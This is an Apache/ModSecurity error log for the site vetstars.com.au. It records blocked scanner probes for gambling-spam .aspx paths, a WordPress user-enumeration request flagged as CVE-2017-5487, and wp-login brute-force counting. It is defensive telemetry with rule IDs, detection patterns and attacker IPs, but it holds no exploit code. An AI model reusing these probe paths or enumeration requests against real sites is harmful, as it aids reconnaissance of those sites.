[Wed Mar 04 13:47:40.683365 2026] [:error] [pid 51357:tid 51418] [client 217.182.195.181:38116] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aafHfGimsh8xS8jkf2g2ZwAAABE"]
[Wed Mar 04 13:47:44.920057 2026] [:error] [pid 51357:tid 51401] [client 217.182.195.181:38122] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aafHgGimsh8xS8jkf2g2awAAAAA"]
[Wed Mar 04 13:47:49.667751 2026] [:error] [pid 51359:tid 51466] [client 217.182.195.181:53858] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aafHhfeZtYUOh-itqcpkeQAAAIM"]
[Wed Mar 04 13:48:24.146197 2026] [:error] [pid 51510:tid 51534] [client 217.182.195.181:53876] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aafHqH-78MmWmoTGI7sxAAAAARU"]
[Wed Mar 04 13:48:27.030904 2026] [:error] [pid 51359:tid 51485] [client 217.182.195.181:47566] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aafHq_eZtYUOh-itqcpkzQAAAJY"]
[Wed Mar 04 13:48:30.121083 2026] [:error] [pid 51510:tid 51529] [client 217.182.195.181:53904] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aafHrn-78MmWmoTGI7sxTQAAARA"]
[Wed Mar 04 13:48:33.351796 2026] [:error] [pid 51510:tid 51524] [client 217.182.195.181:53918] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aafHsX-78MmWmoTGI7sxXwAAAQs"]
[Wed Mar 04 13:48:36.208330 2026] [:error] [pid 51357:tid 51406] [client 217.182.195.181:53938] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aafHtGimsh8xS8jkf2g2lgAAAAU"]
[Wed Mar 04 13:48:39.036458 2026] [:error] [pid 51510:tid 51534] [client 217.182.195.181:46338] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aafHt3-78MmWmoTGI7sxdwAAARU"]
[Wed Mar 04 13:48:42.152864 2026] [:error] [pid 51510:tid 51523] [client 217.182.195.181:46360] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aafHun-78MmWmoTGI7sxhAAAAQo"]
[Wed Mar 04 13:48:45.092572 2026] [:error] [pid 51510:tid 51528] [client 217.182.195.181:46384] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aafHvX-78MmWmoTGI7sxjQAAAQ8"]
[Wed Mar 04 13:48:47.776525 2026] [:error] [pid 51510:tid 51523] [client 217.182.195.181:46400] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aafHv3-78MmWmoTGI7sxlwAAAQo"]
[Wed Mar 04 13:48:51.377967 2026] [:error] [pid 51358:tid 51436] [client 217.182.195.181:33408] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aafHw1DC2WZyp0MMf72WtAAAAEA"]
[Wed Mar 04 13:48:54.313113 2026] [:error] [pid 51510:tid 51517] [client 217.182.195.181:33426] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aafHxn-78MmWmoTGI7sxqQAAAQQ"]
[Wed Mar 04 13:48:57.614248 2026] [:error] [pid 51510:tid 51530] [client 217.182.195.181:33440] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aafHyX-78MmWmoTGI7sxtQAAARE"]
[Wed Mar 04 13:49:00.441808 2026] [:error] [pid 51358:tid 51441] [client 217.182.195.181:47574] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aafHzFDC2WZyp0MMf72WwgAAAEU"]
[Wed Mar 04 13:49:03.309819 2026] [:error] [pid 51359:tid 51480] [client 217.182.195.181:47594] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aafHz_eZtYUOh-itqcplEAAAAJE"]
[Wed Mar 04 13:49:06.239874 2026] [:error] [pid 51510:tid 51536] [client 217.182.195.181:47604] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aafH0n-78MmWmoTGI7sxzgAAARc"]
[Wed Mar 04 13:49:08.888217 2026] [:error] [pid 51358:tid 51452] [client 217.182.195.181:47618] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aafH1FDC2WZyp0MMf72W0wAAAFA"]
[Wed Mar 04 13:49:11.591277 2026] [:error] [pid 51357:tid 51404] [client 217.182.195.181:33840] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aafH12imsh8xS8jkf2g2swAAAAM"]
[Wed Mar 04 13:49:14.492021 2026] [:error] [pid 51359:tid 51480] [client 217.182.195.181:33854] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aafH2veZtYUOh-itqcplLQAAAJE"]
[Wed Mar 04 13:49:17.215562 2026] [:error] [pid 51358:tid 51451] [client 217.182.195.181:33870] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aafH3VDC2WZyp0MMf72W4QAAAE8"]
[Wed Mar 04 13:49:46.649927 2026] [:error] [pid 51510:tid 51527] [client 217.182.195.181:51898] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aafH-n-78MmWmoTGI7sypQAAAQ4"]
[Wed Mar 04 13:49:49.669934 2026] [:error] [pid 51510:tid 51537] [client 217.182.195.181:34594] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aafH_X-78MmWmoTGI7sytAAAARg"]
[Wed Mar 04 13:49:52.209320 2026] [:error] [pid 51359:tid 51463] [client 217.182.195.181:34608] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aafIAPeZtYUOh-itqcplhwAAAIA"]
[Wed Mar 04 13:49:54.829324 2026] [:error] [pid 51358:tid 51458] [client 217.182.195.181:34618] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aafIAlDC2WZyp0MMf72XIgAAAFY"]
[Wed Mar 04 13:49:57.287309 2026] [:error] [pid 51510:tid 51514] [client 217.182.195.181:34644] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aafIBX-78MmWmoTGI7sy1AAAAQE"]
[Wed Mar 04 13:50:00.072079 2026] [:error] [pid 51358:tid 51445] [client 217.182.195.181:60832] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aafICFDC2WZyp0MMf72XKwAAAEk"]
[Wed Mar 04 13:50:02.671148 2026] [:error] [pid 51359:tid 51470] [client 217.182.195.181:60846] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aafICveZtYUOh-itqcplngAAAIc"]
[Wed Mar 04 13:50:05.394875 2026] [:error] [pid 51510:tid 51515] [client 217.182.195.181:60868] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aafIDX-78MmWmoTGI7sy9QAAAQI"]
[Wed Mar 04 13:50:08.019481 2026] [:error] [pid 51357:tid 51423] [client 217.182.195.181:60878] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aafIEGimsh8xS8jkf2g26QAAABY"]
[Wed Mar 04 13:50:10.596039 2026] [:error] [pid 51359:tid 51473] [client 217.182.195.181:52408] [client 217.182.195.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aafIEveZtYUOh-itqcplrAAAAIo"]
[Wed Mar 04 17:51:45.312200 2026] [:error] [pid 63260:tid 63343] [client 54.224.205.227:41718] [client 54.224.205.227] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aagAsVGzBomxCi_QBtEm4QAAANQ"]
[Wed Mar 04 20:36:16.164897 2026] [:error] [pid 60622:tid 60713] [client 182.42.111.213:47890] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aagnQBjlaiZh5Vup4nB1sQAAAFQ"]
[Wed Mar 04 20:44:54.990742 2026] [:error] [pid 60622:tid 60692] [client 212.132.70.123:46358] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.132.70.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aagpRhjlaiZh5Vup4nB4kQAAAEE"]
[Wed Mar 04 20:54:23.204088 2026] [:error] [pid 64829:tid 64836] [client 51.75.119.154:45102] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aagrf59ZED3FG9h7uijsLQAAAAU"]
[Wed Mar 04 20:54:25.543279 2026] [:error] [pid 64829:tid 64846] [client 51.75.119.154:46222] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aagrgZ9ZED3FG9h7uijsPAAAAA8"]
[Wed Mar 04 20:54:27.924964 2026] [:error] [pid 64829:tid 64837] [client 51.75.119.154:46224] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aagrg59ZED3FG9h7uijsPgAAAAY"]
[Wed Mar 04 20:54:30.330432 2026] [:error] [pid 60620:tid 60644] [client 51.75.119.154:46230] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aagrhoodrRWj-Joks05cggAAARI"]
[Wed Mar 04 20:54:32.862643 2026] [:error] [pid 60730:tid 60736] [client 51.75.119.154:46240] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aagriEeC7wxPGxvN8ZgcrgAAAUQ"]
[Wed Mar 04 20:54:35.227792 2026] [:error] [pid 60622:tid 60699] [client 51.75.119.154:37528] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aagrixjlaiZh5Vup4nB7NgAAAEg"]
[Wed Mar 04 20:54:37.791260 2026] [:error] [pid 64829:tid 64849] [client 51.75.119.154:37544] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aagrjZ9ZED3FG9h7uijsXwAAABI"]
[Wed Mar 04 20:54:40.150830 2026] [:error] [pid 60730:tid 60756] [client 51.75.119.154:37548] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aagrkEeC7wxPGxvN8ZgcxwAAAVg"]
[Wed Mar 04 20:54:42.675262 2026] [:error] [pid 60620:tid 60628] [client 51.75.119.154:37552] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aagrkoodrRWj-Joks05cjAAAAQM"]
[Wed Mar 04 20:54:45.053098 2026] [:error] [pid 60730:tid 60733] [client 51.75.119.154:45860] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aagrlUeC7wxPGxvN8Zgc0gAAAUE"]
[Wed Mar 04 20:54:47.588812 2026] [:error] [pid 60730:tid 60737] [client 51.75.119.154:45874] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aagrl0eC7wxPGxvN8Zgc1gAAAUU"]
[Wed Mar 04 20:54:49.975055 2026] [:error] [pid 60621:tid 60677] [client 51.75.119.154:45880] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aagrmVfRSaORpCbdjO2Y2gAAAM8"]
[Wed Mar 04 20:54:52.365832 2026] [:error] [pid 64829:tid 64840] [client 51.75.119.154:45886] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aagrnJ9ZED3FG9h7uijsgwAAAAk"]
[Wed Mar 04 20:54:54.899920 2026] [:error] [pid 60730:tid 60754] [client 51.75.119.154:60972] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aagrnkeC7wxPGxvN8Zgc5gAAAVY"]
[Wed Mar 04 20:54:57.299638 2026] [:error] [pid 64829:tid 64831] [client 51.75.119.154:60974] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aagroZ9ZED3FG9h7uijsnwAAAAA"]
[Wed Mar 04 20:54:59.710184 2026] [:error] [pid 60621:tid 60666] [client 51.75.119.154:60988] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aagro1fRSaORpCbdjO2Y5wAAAMU"]
[Wed Mar 04 20:55:02.229879 2026] [:error] [pid 60622:tid 60700] [client 51.75.119.154:32770] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aagrphjlaiZh5Vup4nB7WAAAAEk"]
[Wed Mar 04 20:55:04.787091 2026] [:error] [pid 60620:tid 60631] [client 51.75.119.154:41970] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aagrqIodrRWj-Joks05cnQAAAQY"]
[Wed Mar 04 20:55:07.315652 2026] [:error] [pid 64829:tid 64833] [client 51.75.119.154:41974] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aagrq59ZED3FG9h7uijsuAAAAAI"]
[Wed Mar 04 20:55:09.844738 2026] [:error] [pid 64829:tid 64841] [client 51.75.119.154:41982] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aagrrZ9ZED3FG9h7uijsxwAAAAo"]
